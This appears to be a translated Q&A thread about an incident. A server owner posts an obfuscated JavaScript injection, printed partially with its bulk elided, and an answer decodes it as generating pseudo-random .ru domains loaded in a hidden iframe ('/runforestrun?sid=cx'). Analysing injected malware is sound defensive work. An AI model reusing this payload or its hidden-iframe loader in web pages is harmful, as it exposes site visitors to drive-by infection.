9

  1. 只是想知道一个 js 专家是否可以解码这个脚本注入，我可以检查我们的服务器是否有进一步的感染。

  2. 有没有人知道这是怎么发生的？服务器已完全修补（MS Server 2008，Plesk），Web 应用程序已完全修补（DNN 5.6.7）。

  3. 已删除所有注入的脚本并重置所有服务器密码。我还应该做什么？

谢谢 ：）

/*km0ae9gr6m*/
i = 0;
try {
    prototype - 5;
} catch (z) {
    f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, 156, 117, 218, 98, 202, 114, 80, 41, 246, 118, 194, 114, 64, 104, 210, 61, 232, 104, 210, 115, 92, 115, 202, 101, 200, 47, 232, 104, 210, 115, 92, 81, 118, 118, 194, 114, 64, 108, 222, 61, 232, 104, 210, 115, 92, 115, 202, 101, 200, 37, 232, 104, 210, 115, 92, 81, 118, 118, 194, 114, 64, 116, 202, 115, 232, 61, 232, 104, 210, 115, 92, 65, 84, 108, 222, 45, 232, 104, 210, 115, 92, 82, 84, 104, 210, 59, 210, 102, 80, 116, 202, 115, 232, 62, 96, 41, 246, 116, 208, 105, 230, 46, 230, 101, 202, 100, 122, 116, 202, 115, 232, 125, 202, 108, 230, 101, 246, 116, 208, 105, 230, 46, 230, 101, 202, 100, 122, 116, 202, 115, 232, 43, 232, 104, 210, 115, 92, 77, 250, 114, 202, 116, 234, 114, 220, 40, 232, 104, 210, 115, 92, 115, 202, 101, 200, 42, 232, 104, 210, 115, 92, 111, 220, 101, 158, 118, 202, 114, 154, 41, 250, 102, 234, 110, 198, 116, 210, 111, 220, 32, 164, 97, 220, 100, 222, 109, 156, 117, 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200, 111, 218, 78, 234, 109, 196, 101, 228, 40, 228, 97, 220, 100, 88, 48, 88, 108, 202, 116, 232, 101, 228, 115, 92, 108, 202, 110, 206, 116, 208, 45, 98, 41, 186, 125, 228, 101, 232, 117, 228, 110, 64, 115, 232, 114, 86, 39, 92, 39, 86, 122, 222, 110, 202, 125, 230, 101, 232, 84, 210, 109, 202, 111, 234, 116, 80, 102, 234, 110, 198, 116, 210, 111, 220, 40, 82, 123, 232, 114, 242, 123, 210, 102, 80, 116, 242, 112, 202, 111, 204, 32, 210, 102, 228, 97, 218, 101, 174, 97, 230, 67, 228, 101, 194, 116, 202, 100, 100, 61, 122, 34, 234, 110, 200, 101, 204, 105, 220, 101, 200, 34, 82, 123, 210, 102, 228, 97, 218, 101, 174, 97, 230, 67, 228, 101, 194, 116, 202, 100, 100, 61, 232, 114, 234, 101, 118, 118, 194, 114, 64, 117, 220, 105, 240, 61, 154, 97, 232, 104, 92, 114, 222, 117, 220, 100, 80, 43, 220, 101, 238, 32, 136, 97, 232, 101, 80, 41, 94, 49, 96, 48, 96, 41, 118, 118, 194, 114, 64, 100, 222, 109, 194, 105, 220, 78, 194, 109, 202, 61, 206, 101, 220, 101, 228, 97, 232, 101, 160, 115, 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200, 100, 202, 110, 68, 59, 200, 111, 198, 117, 218, 101, 220, 116, 92, 98, 222, 100, 242, 46, 194, 112, 224, 101, 220, 100, 134, 104, 210, 108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96, 48, 82, 59];
'REMOVED BULK OF CODE
if (f) e(s); /*qhk6sa6g1c*/
4

1 回答 1

1

该代码最终会生成半随机域名（在 .ru 中），然后尝试将它们加载到隐藏的 iframe 中。相关部分是：

domainName=generatePseudoRandomString(unix,16,'ru')

和：

ifrm.setAttribute("src","http://"+domainName+"/runforestrun?sid=cx")

毫无疑问，从任何一个作品下载的内容都是某种邪恶的......

于 2014-09-04T22:14:21.280 回答